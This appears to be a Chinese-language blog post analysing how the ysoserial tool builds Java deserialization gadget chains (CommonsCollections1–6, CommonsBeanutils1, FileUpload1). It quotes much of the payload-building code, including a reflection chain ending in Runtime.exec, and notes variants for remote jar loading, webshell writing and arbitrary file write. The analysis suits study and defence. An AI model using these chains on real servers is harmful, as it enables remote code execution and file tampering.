YSOSERIAL Payloads分析筆記(1)

前言

YSOSERIAL = Y SO SERIAL? 爲什麼這麼序列化?
其它沒啥好說的,自己再看一遍,慢慢的往裏面填肉。
CommonsCollections1-6、CommonsBeanutils1、FileUpload1

CommonsCollections1

喜聞樂見的CommonsCollections1,最初的利用鏈

public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };

沒啥好說的,要執行的命令↑

		// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

爲了防止在decorate的時候就執行命令,先弄個事業不幹的Transformer↑

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[] {
			String.class, Class[].class }, new Object[] {
			"getRuntime", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] {
			Object.class, Object[].class }, new Object[] {
			null, new Object[0] }),
		new InvokerTransformer("exec",
			new Class[] { String.class }, execArgs),
		new ConstantTransformer(1) };

構造使用InvokerTransformer執行命令的TransfomerChain↑
核心代碼如下,熟悉Java的同學看到Invoke應該會比較興奮,不熟悉的麼。。。去熟悉熟悉┓( ´∀` )┏
在這裏插入圖片描述
最後實際上使用ContantTransfomer和InvokerTransfomer構造瞭如下的反射執行鏈:

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]).exec("clac.exe")

所以只要有別的能寫成一句話可以改別的,比如遠程加載jar文件(URLClassLoader)、寫shell(FileOutputStream\FileWriter)什麼的~

能執行命令的話其實也可以結合shell腳本、windows批處理達到無反彈getshell,不過後來有了RMI這種方式還是推薦用RMI的。

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

建立一個空map,然後用上面創建的假transformerChain先裝飾上。

題外話:
最早的文章中使用的是TransformedMap,對其任意entry進行setValue操作時,會觸發transformer。

AbstractInputCheckedMapDecorator$MapEntry(對TransformedMap的Entry進行setValue會做到這)中的代碼:
在這裏插入圖片描述
而後調用了TransformedMap的checkSetValue,執行了transform操作。
這部分的利用調用在AnnotationInvocationHandler中有體現。
在這裏插入圖片描述
補充:
看到了這篇文章之後發現自己忽略了一個地方,就是爲什麼TransformedMap要put一個key爲"value"的鍵值對,是爲了此處讓var7不爲null,可以繼續執行後面的部分。
在這裏插入圖片描述

題外話結束:
而這裏是使用LazyMap,lazyMap在調用get函數時如果key不存在會觸發transformer。
在這裏插入圖片描述

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

這裏使用AnnotationInvocationHandler是由於其成員memberValues爲Map,而lazyMap和transformedMap都實現了Map接口,並且後面readObject調用中會觸發上面所說的setValue與get函數。

有關動態代理的部分推薦一篇文章:《Java動態代理-實戰》
這裏只說一句與漏洞利用有關的:在通過Proxy進行被代理的接口調用時,實際上會通過構造時所給InvocationHandler的invoke函數進行執行。

createMemoitizedProxy創建了一個代理Map.class,InvocationHandler爲(成員變量memberValues設置爲上面所構造LazyMap的AnnotationInvocationHandler)的Proxy。

接下來createMemoizedInvocationHandler函數創建了一個memberValues爲上面Proxy的AnnotationInvocationHandler。

(兩個長名具體實現請看代碼)

而後在第一層AnnotationInvocationHandler的readObject的過程中,觸發了:

this.memberValues.entrySet()

實際上這層的memberValues爲Proxy,會調用第二層AnnotationInvocationHandler的inovke函數:
在這裏插入圖片描述
可以看到由於entrySet不等於上面幾個常量(equals\toString\hashCode\annotationType),所以會對memberValues進行get操作,而由於此時的memberValues爲上面構造的空lazyMap,所以key不存在,如上面所說,觸發了transformers!!
用PPT畫了個比較醜的圖:
在這裏插入圖片描述
題外話:
TransformedMap的利用成因具體參考《Lib之過?Java反序列化漏洞通用利用分析》這篇文章的解析,此處直說一句:在AnnotationInvocationHandler的readObject函數尾部會遍歷的對memberValues中的Entry執行setValue操作,滿足了觸發條件。

最後:

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}

把iTransformers設置成利用鏈↑

到此CommonsCollections1利用鏈構造完成

CommonsCollections2

public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

創建可執行命令的TemplatesImpl類,關於createTemplatesImpl可以看我寫的另一篇《ysoserial Gadgets.createTemplatesImpl函數分析》

		// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

創建一個InvokerTransformer,執行的是無參數的toString函數。

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later,插倆假數據沒啥說的
queue.add(1);
queue.add(1);

PriorityQueue是一個有優先級的隊列,第一個參數爲隊列大小,第二個參數爲使用的comparer比較器。
TransformingComparator爲使用Transformer接口的比較器,調用compare函數時,先對所比較兩元素依次調用所給Transformer進行轉換後再進行比較。
這也就是後面爲什麼要將queueArray[0]設置爲templates而不是queueArray[1]的原因。
實現如下:
在這裏插入圖片描述
在add的過程中也會調用comparer,所以上面InvokerTransformer設置爲toString,保證添加過程可以正常執行

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

更改上面創建的InvokerTransformer的調用方法爲newTransformer,用這個對TemplatesImpl對象調用newTransformer也可以觸發調用鏈。。

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}

使用反射方法獲取PriorityQueue中的實際存儲的隊列,並將索引0對應對象替換爲上面創建的TemplatesImpl對象。

在PriorityQueue的ReadObject過程中,首先會重建隊列的對象,而後對隊列進行重新排序,排序過程中則會調用InovkerTransformer進行transform,觸發templates調用鏈。

CommonsCollections3

基本跟CommonsCollections1一致,這裏只說明下調用鏈。

final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(TrAXFilter.class),
		new InstantiateTransformer(
				new Class[] { Templates.class },
				new Object[] { templatesImpl } )};

InstantiateTransformer爲調用上一級所給對象的的構造函數,內部實現也是反射調用。

TrAXFilter的構造函數如下:
在這裏插入圖片描述
上面畫框的語句,觸發了TemplatesImpl利用鏈。

CommonsCollections4

CommonsCollections2和CommonsCollections3的組合,前面要都看懂了就沒啥好說的了。

還是先一頓規避構造中的命令執行。

通過PriorityQueue的方式觸發排序,而這次的比較器的transformer是CommonsCollections3的調用鏈~

CommonsCollections5

jdk 8u76以上可用,還有得沒開SecurityManager。

因爲這個版本以上的BadAttributeValueExpException對象有readObject┓( ´∀` )┏,好神奇,這都怎麼找到的。

大部分代碼段都與CommonsCollections1相同,這裏只說不同的部分。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

TiedMapEntry在調用toString時會調用構造時所用map的get函數~觸發lazyMap的調用鏈。
在這裏插入圖片描述
在這裏插入圖片描述

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

通過反射方式將BadAttributeValueExpException所包裹的val值換成上面所構造TiedMapEntry。

BadAttributeValueExpException的readObject函數如下:
在這裏插入圖片描述
可以看到對val掉用了toString函數,觸發了調用鏈。

用idea調試過程中可以發現觸發了兩次計算器,這也是因爲idea調試過程中對所有變量調用toString來進行內容顯示,在valObj獲取完成就會對其調用toString。
用idea調試過程中,由於idea會調用每個變量的toString函數用以顯示在Debug窗格中,會導致調用鏈被提前觸發,彈出計算器。爲了正常調試可以關閉idea的調試中toString。

並不是執行兩次,感謝2ndGe0rg3師傅的提醒。
在這裏插入圖片描述

CommonsCollections6

HashSet是基於HashMap實現的。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
    f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
    f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
    f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
    f2 = HashMap.class.getDeclaredField("elementData");
}


f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = null;
try{
    keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

return map;

這段代碼向HashSet中插入了一個元素,而後獲取了內部的HashMap,並將存儲的唯一一個Node的Key替換爲上面創建的TiedMapEntry。

在上面我們知道了toString函數會調用TiedMapEntry的getValue,而getValue會觸發lazyMap的get。

而這個調用鏈中利用了TiedMapEntry的hashCode函數,同樣會觸發getValue:
在這裏插入圖片描述
HashSet在序列化過程中會將存儲的對象依次寫入序列化數據中:
在這裏插入圖片描述
而readObject過程中會依次反序列化對象並將其put入HashMap:
在這裏插入圖片描述
而HashMap的Put函數會對Key調用hashCode函數,最後觸發了LazyMap調用鏈。
在這裏插入圖片描述

CommonsBeanutils1

有關PriorityQueue的部分與CommonsCollections4相同此處不在贅述。

final BeanComparator comparator = new BeanComparator("lowestSetBit");

有關BeanComparator的介紹:
https://commons.apache.org/proper/commons-beanutils/apidocs/org/apache/commons/beanutils/BeanComparator.html

BeanComparator是獲取兩個類指定屬性進行比較,實際獲取屬性的過程中是調用了get+屬性名的getter方法進行獲取(並不是說有getter方法就一定有對應的屬性),就比如上面這個comparator在比較過程中就調用了getLowestSetBit,這是BigInteger類的一個方法。

流程跟蹤起來比較麻煩,有興趣的同學可以自己跟一下。

具體獲取getter方法的位置在java.beans包中Introspector類的getTargetPropertyInfo函數中。

爲什麼首位要變小寫需要看decapitalize函數。

Reflections.setFieldValue(comparator, "property", "outputProperties");

後面重新設置了comparator對應的屬性爲outputProperties,最終調用了getOutputProperties函數,觸發了調用鏈。

FileUpload1

這個在低版本的JRE(可以\x00截斷)+commons-fileupload:1.3.1比較好用,其它的版本只能寫入.tmp爲結尾的隨機文件了。
reaoPath是希望寫入的文件夾位置,低版本JRE可以\x00截斷,所有可以任意文件寫入。
下圖的是1.8的JDK的效果。
1.8JDK+FileUpload1
filePath是預計讀取的文件位置,如果data有內容的話此處無用。
data就是預計寫入的數據。
在這裏插入圖片描述
這個比較簡單了,直接看DiskFileItem類的readObject函數就好了。
在這裏插入圖片描述
需要寫入的話就向DiskFileItem中包含的DeferredFileOutputStream進行數據寫入,使得在序列化過程中令cachedContent有內容。
在這裏插入圖片描述
複製與刪除就使cachedContent沒有內容,dfosFile配置好即可,當然,如果沒法截斷的話就是隨機複製了。

小節

看懂一個後面就越看越快了。

CommonsCollections1

lazyMap.get不存在的key觸發Transfomer
Java動態代理執行方法時會調用對應的InvocationHandler(這裏是AnnotationInvocationHandler,並代理了Map.class的方法)
AnnotationInvocationHandler在readObject時會調用內置Map的entrySet方法。

CommonsCollections2

PriorityQueue的readObject方法再重新構建包含對象後會進行重新排序。
TransformingComparator是一個先調用內置Transformer後再調用CompareTo的Comparator。
利用了TemplatesImpl。

CommonsCollections3

與CommonsCollections1基本一致,但是利用了InstantiateTransformer這個實例化Transformer。
TrAXFilter使用Templates進行構造,並且構造過程中會調用newTransformer。

CommonsCollections4

CommonsCollections2+3的結合

CommonsCollections5

jdk 8u76以上可用,還有得沒開SecurityManager。
因爲這個版本以上的BadAttributeValueExpException對象有readObject。
TiedMapEntry綁定了lazyMap和一個不存在的Key,當對其調用toString時,會向去向綁定Map進行getValue,而這時候綁定的是lazyMap…

CommonsCollections6

利用了HashSet在反序列化時會依次向內置HashSet進行put,而put過程中會調用對應對象的HashCode函數,而TiedMapEntry的HashCode函數還是會getValue。

CommonsBeanutils1

CommonsCollections2的方法換了個Comparator。
BeanComparator是通過查找getter方法來判斷哪些屬性存在的,而TemplatesImpl正好有個調用newTransformer的getOutputProperties函數。

FileUpload1

emm 直接看,readObject函數就好了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章